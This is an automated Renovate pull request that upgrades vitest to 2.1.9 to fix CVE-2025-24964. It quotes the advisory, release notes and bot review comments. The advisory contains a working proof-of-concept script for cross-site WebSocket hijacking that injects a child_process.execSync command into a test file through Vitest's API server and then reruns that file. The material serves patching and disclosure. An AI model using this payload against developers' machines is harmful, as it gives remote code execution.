chore(deps): update dependency vitest to v2.1.9 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
vitest (source)	2.0.5 → 2.1.9

---

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

• CVSS Score: 9.6 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

• https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq
• https://github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc
• https://github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241
• https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383
• https://nvd.nist.gov/vuln/detail/CVE-2025-24964
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
• https://vitest.dev/config/#api
• https://github.com/advisories/GHSA-9crc-q9x8-hgqq

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

• Browser mode serves arbitrary files | CVE-2025-24963
• Remote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964

   🐞 Bug Fixes

• backport #​7317 to v2 - by @​hi-ogawa in #​7318
• (backport #​7340 to v2) restrict served files from /__screenshot-error - by @​hi-ogawa in #​7343

    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes

• Support Node 21  -  by @​sheremet-va (92f7a)

    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes

• Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
  • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.

    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

• Support Vite 6

    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes

• dangerouslyIgnoreUnhandledErrors without base reporter  -  by @​AriPerkkio in #​6808 (0bf0a)
• Capture unhandledRejection even when base reporter is not used  -  by @​AriPerkkio in #​6812 (8878b)
• Don't change the working directory when loading workspace projects  -  by @​sheremet-va in #​6811 (f0aea)
• Remove sequence.concurrent from the RuntimeConfig type  -  by @​sheremet-va in #​6880 (6af73)
• Stop the runner before restarting, restart on workspace config change  -  by @​sheremet-va in #​6859 (b01df)
• Don't rerun on Esc or Ctrl-C during watch filter  -  by @​hi-ogawa in #​6895 (98f76)
• Print ssrTransform error  -  by @​hi-ogawa in #​6885 (4c96c)
• Throw an error and a warning if .poll, .element, .rejects/.resolves, and locator.* weren't awaited  -  by @​sheremet-va in #​6877 (93b67)
• browser:
  • Don't process the default css styles  -  by @​sheremet-va in #​6861 (0d67f)
  • Support non US key input  -  by @​hi-ogawa in #​6873 (5969d)
  • Stop the browser rpc when the pool is closed  -  by @​sheremet-va in #​6858 (9a0c9)
  • Init browsers eagerly when tests are running  -  by @​sheremet-va in #​6876 (417bd)
• coverage:
  • Report uncovered files when re-run by enter or 'a'  -  by @​AriPerkkio in #​6848 (487c8)
• ui:
  • Remove crossorigin attributes for same origin assets  -  by @​hi-ogawa in #​6883 (6e793)
• vite-node:
  • Improve esm check to decide external  -  by @​hi-ogawa in #​6816 (7e1fa)
  • Top-level throw in module is not reported properly  -  by @​vanaigr and @​hi-ogawa in #​6840 (cf0cb)
• vitest:
  • Use fetch() implementation from happy-dom  -  by @​capricorn86 in #​6879 (3c56f)

   🏎 Performance

• Limit workspace project concurrency to available cores  -  by @​sheremet-va in #​6869 (f4c04)

    View changes on GitHub

v2.1.4

Compare Source

   🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

• browser: Allow custom HTML path, respect plugins transformIndexHtml  -  by @​sheremet-va in #​6725 (16902)

   🐞 Bug Fixes

• windows:
  • Don't normalize drive case letter in root  -  by @​sheremet-va in #​6792 (b28cd)
• browser:
  • Fix default browser port  -  by @​hi-ogawa in #​6700 (9c518)
  • Optimize expect-type  -  by @​sheremet-va in #​6713 (07918)
  • Don't polyfill process.env  -  by @​sheremet-va in #​6718 (da6d2)
  • Increment browser port automatically if there are several projects with browser.enabled  -  by @​sheremet-va in #​6717 (a9397)
  • Cleanup keyboard state  -  by @​hi-ogawa in #​6731 (19278)
  • Don't add v= queries to setup files imports  -  by @​sheremet-va in #​6759 (b8258)
  • User event cleanup on retry  -  by @​hi-ogawa in #​6764 (bdd15)
  • Ignore non mocked msw requests  -  by @​sheremet-va in #​6770 (9d9ba)
  • Initiate MSW in the same frame as tests  -  by @​sheremet-va in #​6772 (2444f)
• deps:
  • Update dependency sirv to v3  -  in #​6701 (fde5d)
• expect:
  • Correct behavior of toThrowError with empty string parameter  -  by @​shulaoda in #​6710 (a6129)
• mocker:
  • Remove spy from peer dependencies  -  by @​sheremet-va in #​6777 (3a8b5)
• vitest:
  • Clarify slowTestThreshold, print slow tests in non-TTY mode  -  by @​sheremet-va in #​6715 (2e6aa)
  • Print warnings form Vite plugins  -  by @​sheremet-va in #​6724 (121b1)
  • Don't fail if the working directory starts with a lowercase drive letter  -  by @​sheremet-va in #​6779 (df6d7)
  • Silence import analysis warning  -  by @​hi-ogawa in #​6785 (39041)
• vitest,runner:
  • Simplify test.extend type exports  -  by @​hi-ogawa in #​6707 (e5c38)

   🏎 Performance

• Use hash to replace createHash  -  by @​btea in #​6703 (5d07b)

    View changes on GitHub

v2.1.3

Compare Source

   🐞 Bug Fixes

• Fix error diff of toBeNaN, toBeUndefined, toBeNull, toBeTruthy, toBeFalsy  -  by @​hi-ogawa in #​6697 (e0027)
• browser:
  • Provide aria role intellisense  -  by @​sheremet-va in #​6629 (f36ea)
  • Not.toBeInTheDocument works with locators API  -  by @​sheremet-va in #​6634 (8bef5)
  • Use /mockServiceWorker.js instead of /__vitest_msw__  -  by @​sheremet-va in #​6687 (4b2ce)
  • Don't override the esbuild option in the browser mode  -  by @​sheremet-va in #​6692 (d131f)
• expect:
  • Preserve prototype in toMatchObject diff  -  by @​hi-ogawa in #​6620 (d289e)
• mocker:
  • Specify correct spy dependency  -  by @​sheremet-va (7e958)
• runner:
  • Ensure sequential suite overrides sequence.concurrent  -  by @​dsyddall and @​hi-ogawa in #​6653 (5e6de)
• vitest:
  • Deprecate UserConfig in favor of ViteUserConfig  -  by @​sheremet-va in #​6626 (496bd)
  • Don't hang with maxConcurrency 0  -  by @​sheremet-va in #​6627 (946d8)
  • Deprecate old task types and node-reliant types  -  by @​sheremet-va in #​6632 (00045)
  • Fix <empty line> logs when interleaving console.log/error  -  by @​hi-ogawa in #​6644 (9ece3)
  • Show rollup error details as test error  -  by @​hi-ogawa in #​6686 (47dde)
  • Always inline setup files  -  by @​sheremet-va in #​6689 (19d64)
  • Use fast-glob instead of tinyglobby in Vitest  -  by @​sheremet-va in #​6688 (70baa)
• web-worker:
  • Share mocker with main executor  -  by @​hi-ogawa in #​6623 (fe7b8)

   🏎 Performance

• Reuse full name in reported tasks, update generator types  -  by @​sheremet-va in #​6666 (7a0de)

    View changes on GitHub

v2.1.2

Compare Source

   🐞 Bug Fixes

• Move Vitest.setServer to post configureServer hook to enable import analysis for workspace config loading  -  by @​hi-ogawa in #​6584 (e7f35)
• benchmark:
  • Clear BenchmarkResult.samples array to reduce memory usage  -  by @​hi-ogawa and @​AriPerkkio in #​6541 (a6407)
• browser:
  • Fix dynamic import inside worker  -  by @​hi-ogawa in #​6569 (ea2d4)
  • Fix browser mock factory event race condition  -  by @​hi-ogawa in #​6530 (f131f)
  • Serve ui assets as static  -  by @​hi-ogawa in #​6564 (adcda)
  • Update solidjs testing library lib  -  by @​CamilleTeruel in #​6548 (91442)
  • Use data: protocol on preview provider file upload  -  by @​userquin in #​6501 (e9821)
  • Fix base for client script  -  by @​hi-ogawa in #​6510 (f9528)
  • Throw an error if "@​vitest/browser/context" is imported outside of the browser mode  -  by @​sheremet-va in #​6570 (383f1)
• coverage:
  • Remove empty coverage folder on test failure too  -  by @​AriPerkkio in #​6547 (1371c)
  • Include *.astro by default  -  by @​AriPerkkio in #​6565 (f8ff7)
  • cleanOnRerun: false to invalidate previous results  -  by @​AriPerkkio in #​6592 (88bde)
• expect:
  • Fix toBeDefined with expect.poll  -  by @​hi-ogawa in #​6562 (f7da6)
• forks:
  • Fix --cpu-prof and --heap-prof not working by default  -  by @​AriPerkkio in #​6555 (2e4d894)
• runner:
  • Mark tests as skipped when beforeAll failed  -  by @​hi-ogawa in #​6524 (fb797)
  • Support fixture parsing of lowered async syntax  -  by @​hi-ogawa in #​6531 (b553c)
  • Fix fixture parsing of lowered async syntax for non arrow functions  -  by @​hi-ogawa in #​6575 (3de00)
  • Guard test hook callback  -  by @​sheremet-va in #​6604 (14971)
  • Run onTestFinished and onTestFailed during retry and repeats  -  by @​hi-ogawa in #​6609 (c5e29)
• ui:
  • List tests on ui when --standalone  -  by @​hi-ogawa in #​6577 (d0bf8)
• vite-node:
  • Fix esm false-detection inside comment  -  by @​hi-ogawa in #​6506 (91f85)
• vitest:
  • Install dependencies with the same version when prompted  -  by @​sheremet-va in #​6611 (ed8b7)
  • Make env.SSR consistent between different pools  -  by @​sheremet-va in #​6616 (8a8d3)
  • Don't start a websocket server if api is disabled  -  by @​sheremet-va in #​6617 (82140)
• workspace:
  • Fix glob pattern detection  -  by @​hi-ogawa in #​6502 (7727c)
  • Ignore DS_Store by default  -  by @​sheremet-va in #​6571 (d2a86)

    View changes on GitHub

v2.1.1

Compare Source

   🐞 Bug Fixes

• browser:
  • Make example test callbacks async  -  by @​aqandrew in #​6484 (16aa7)
  • Optimize vitest-browser-vue correctly  -  by @​sheremet-va in #​6490 (5cbb0)
• workspace:
  • Resolve glob pattern once to avoid name collision  -  by @​sheremet-va in #​6489 (36b5a)

    View changes on GitHub

v2.1.0

Compare Source

This release makes another big change to the Browser Mode by introducing locators API:

test('renders blog posts', async () => {
  const screen = page.render(<Blog />)

  await expect.element(screen.getByRole('heading', { name: 'Blog' })).toBeInTheDocument()

  const [firstPost] = screen.getByRole('listitem').all()

  await firstPost.getByRole('button', { name: 'Delete' }).click()

  expect(screen.getByRole('listitem').all()).toHaveLength(3)
})

You can use either vitest-browser-vue, vitest-browser-svelte or vitest-browser-react to render components and make assertions using locators. Locators are also available on the page object from @vitest/browser/context.

Potential Breaking Change

• workspace:
  • Correctly resolve workspace globs and file paths  -  by @​sheremet-va in #​6316 (afdcb)
  • This changes how the custom glob pattern in the workspace config is treated. Any file matching the glob is considered a Vitest config file. Any folder matching the glob pattern is treated as a workspace project and is subject to the regular config resolution (single vitest.config.ts or vite.config.ts inside the folder)
  • For example, projects/* will match anything inside the projects folder. If it's a folder, we try to find the config inside that folder (if there is none, it is still treated as a project with the default config). If it's a file, it will be treated as a Vitest config. projects/**/* previously would assume that you only wanted to have folders as projects, but now it will match every single file insideprojects.
  • This change doesn't affect non-glob usage.

   🚀 Features

• api:
  • Make spec into a class instead of a tuple  -  by @​sheremet-va in #​6355 (874a1)
• browser:
  • Move page.config to server.config, add more docs  -  by @​sheremet-va in #​6252 (af2b8)
  • Make iframe scalable, improve documentation  -  by @​sheremet-va in #​6257 (74ca1)
  • Introduce built-in locators  -  by @​sheremet-va in #​6084 (3347f)
  • Support v8 coverage  -  by @​AriPerkkio in #​6273 (34199)
  • Support userEvent.upload in playwright provider  -  by @​sheremet-va in #​6442 (cf148)
  • Support --inspect  -  by @​AriPerkkio in #​6433 (0499a)
  • Support --inspect-brk  -  by @​AriPerkkio in #​6434 (7ab0f)
• cli:
  • Extend existing list command to output only a list of file names  -  by @​Ma-hawaj and @​sheremet-va in #​6392 (008f0)
• coverage:
  • Add --exclude-after-remap  -  by @​AriPerkkio in #​6309 (5932a)
• mocker:
  • Introduce @​vitest/mocker package, allow { spy: true } instead of a factory  -  by @​sheremet-va in #​6289 (95f02)
• vitest:
  • Add "provide" option  -  by @​sheremet-va in #​6253 (4409d)
  • Add return type and promisable mockFactory  -  by @​syi0808 and @​sheremet-va in #​6139 (f5e0b)
  • Add vi.advanceTimersToNextFrame  -  by @​bnjm and @​sheremet-va in #​6347 (8ff63)
  • Allow env to be stubbed to undefined  -  by @​JSanchezIO and @​sheremet-va in #​6359 (c3b27)
• Migrate from fast-glob to tinyglobby  -  by @​SuperchupuDev in #​6274 (c321a)

   🐞 Bug Fixes

• Correctly resolve nested mocks with index file  -  by @​sheremet-va in #​6266 (081cf)
• Don't panic when coverage.reporter is a string  -  by @​sheremet-va in #​6267 (7b37d)
• Align RawMatcherFn type definition with Jest  -  by @​wheresrhys in #​6351 (d09f0)
• Cjs build of vite node server  -  by @​AkaraChen in #​6389 (12e70)
• Allow inlining vite's cached dependencies  -  by @​chriswheeldon-peakon in #​6284 (03208)
• Print unexpected error message if peer dependencies have a different version  -  by @​sheremet-va in #​6446 (b992b)
• Ignore importer when resolving Vitest  -  by @​sheremet-va in #​6469 (0b447)
• expect.getState().testPath always returns correct path  -  by @​sheremet-va in #​6472 (ac698)
• UserEvent works consistently between providers  -  by @​sheremet-va in #​6480 (0b4da)
• browser:
  • Print correct stack trace for unhandled errors  -  by @​sheremet-va in #​6134 (1da6c)
  • Use documentElement as the root for selector  -  by @​sheremet-va (d8077)
  • Keep querying elements even if locator is created with elementLocator, add pubic @​vitest/browser/utils  -  by @​sheremet-va in #​6296 (30dc5)
  • Produce valid config file if preview provider is used  -  by @​sheremet-va in #​6305 (7f0ae)
  • Correctly run in-source tests in the browser  -  by @​sheremet-va in #​6440 (c8531)
  • Exclude missed packages from optimization, print help message  -  by @​sheremet-va in #​6445 (8d883)
  • Define mocker as a dependency  -  by @​sheremet-va in #​6476 (9560a)
• coverage:
  • Warn if vitest and @vitest/* versions don't match  -  by @​AriPerkkio in #​6317 (e662c)
  • V8 to support source maps with multiple sources  -  by @​AriPerkkio and @​sheremet-va in #​6120 (1f6cb)
  • V8 to warn instead of crash when conversion fails  -  by @​AriPerkkio in #​6318 (91dea)
  • Use project specific vitenode for uncovered files  -  by @​AriPerkkio in #​6044 (da52d)
• runner:
  • Use performance.now instead of Date.now for duration  -  by @​LuciNyan in #​6382 (fe489)
  • Async assertion auto await should timeout  -  by @​hi-ogawa in #​6391 (ad6e7)
• snapshot:
  • Reject multiple toMatchInlineSnapshot updates at the same location  -  by @​hi-ogawa in #​6332 (1606f)
  • Improve inline snapshot inside loop rejection  -  by @​hi-ogawa in #​6339 (e0368)
• typecheck:
  • Run both runtime and typecheck tests if typecheck.include overlaps with include  -  by @​sheremet-va in #​6256 (153ff)
• types:
  • Allow Callbacks Passed to before*/after* to Return Anything  -  by @​LuciNyan in #​6393 (f6217)
• ui:
  • Remove "filters" flickering  -  by @​sheremet-va in #​6463 (0223b)
  • Render project name consistently  -  by @​sheremet-va in #​6329 (94a18)
• vite-node:
  • Disable watcher if hmr is disabled  -  by @​sheremet-va in #​6251 (c51c6)
  • Fix watch on vite 6  -  by @​hi-ogawa in #​6422 (c3ac4)
• vitest:
  • Update json reporter output  -  by @​Emiyaaaaa in #​6064 (c9979)
  • Add more type guards for --merge-reports  -  by @​sheremet-va in #​6307 (0a5d8)
  • Always resolve vitest to the root version  -  by @​sheremet-va in #​6369 (163d7)
  • Dispose vmForks listeners to avoid memory leak  -  by @​sheremet-va in #​6448 (2673c)

    View changes on GitHub

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • ""
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[changeset-bot]

⚠️ No Changeset found

Latest commit: d202dba

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

[sourcery-ai]

Reviewer's Guide by Sourcery

This PR updates the vitest dependency from version 2.0.5 to 2.1.9. This resolves a security vulnerability (CVE-2025-24964) that allows for arbitrary remote code execution when accessing a malicious website while the Vitest API server is listening. The update involves changes in the pnpm-lock.yaml file to reflect the new version and its dependencies.

Sequence diagram showing the security vulnerability in Vitest 2.0.5

sequenceDiagram
    actor Attacker
    participant MW as Malicious Website
    participant WS as WebSocket Server
    participant VT as Vitest
    participant FS as File System

    Note over WS,VT: Vitest API server listening (api option enabled)
    Attacker->>MW: Access malicious website
    MW->>WS: Connect to WebSocket without Origin check
    MW->>WS: Call saveTestFile API
    WS->>FS: Inject malicious code into test file
    MW->>WS: Call rerun API
    WS->>VT: Execute test file
    VT->>FS: Execute injected malicious code

Loading

File-Level Changes

Change	Details	Files
Update vitest dependency to address CVE-2025-24964.	Updated vitest version from 2.0.5 to 2.1.9. Updated dependencies related to esbuild, rollup, and other internal packages.	pnpm-lock.yaml

---

Tips and commands

Interacting with Sourcery

• Trigger a new review: Comment @sourcery-ai review on the pull request.
• Continue discussions: Reply directly to Sourcery's review comments.
• Generate a GitHub issue from a review comment: Ask Sourcery to create an
  issue from a review comment by replying to it. You can also reply to a
  review comment with @sourcery-ai issue to create an issue from it.
• Generate a pull request title: Write @sourcery-ai anywhere in the pull
  request title to generate a title at any time. You can also comment
  @sourcery-ai title on the pull request to (re-)generate the title at any time.
• Generate a pull request summary: Write @sourcery-ai summary anywhere in
  the pull request body to generate a PR summary at any time exactly where you
  want it. You can also comment @sourcery-ai summary on the pull request to
  (re-)generate the summary at any time.
• Generate reviewer's guide: Comment @sourcery-ai guide on the pull
  request to (re-)generate the reviewer's guide at any time.
• Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
  pull request to resolve all Sourcery comments. Useful if you've already
  addressed all the comments and don't want to see them anymore.
• Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
  request to dismiss all existing Sourcery reviews. Especially useful if you
  want to start fresh with a new review - don't forget to comment
  @sourcery-ai review to trigger a new review!
• Generate a plan of action for an issue: Comment @sourcery-ai plan on
  an issue to generate a plan of action for it.

Customizing Your Experience

Access your dashboard to:

• Enable or disable review features such as the Sourcery-generated pull request
  summary, the reviewer's guide, and others.
• Change the review language.
• Add, remove or edit custom review instructions.
• Adjust other review settings.

Getting Help

• Contact our support team for questions or feedback.
• Visit our documentation for detailed guides and information.
• Keep in touch with the Sourcery team by following us on X/Twitter, LinkedIn or GitHub.

[sourcery-ai]

We have skipped reviewing this pull request. It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!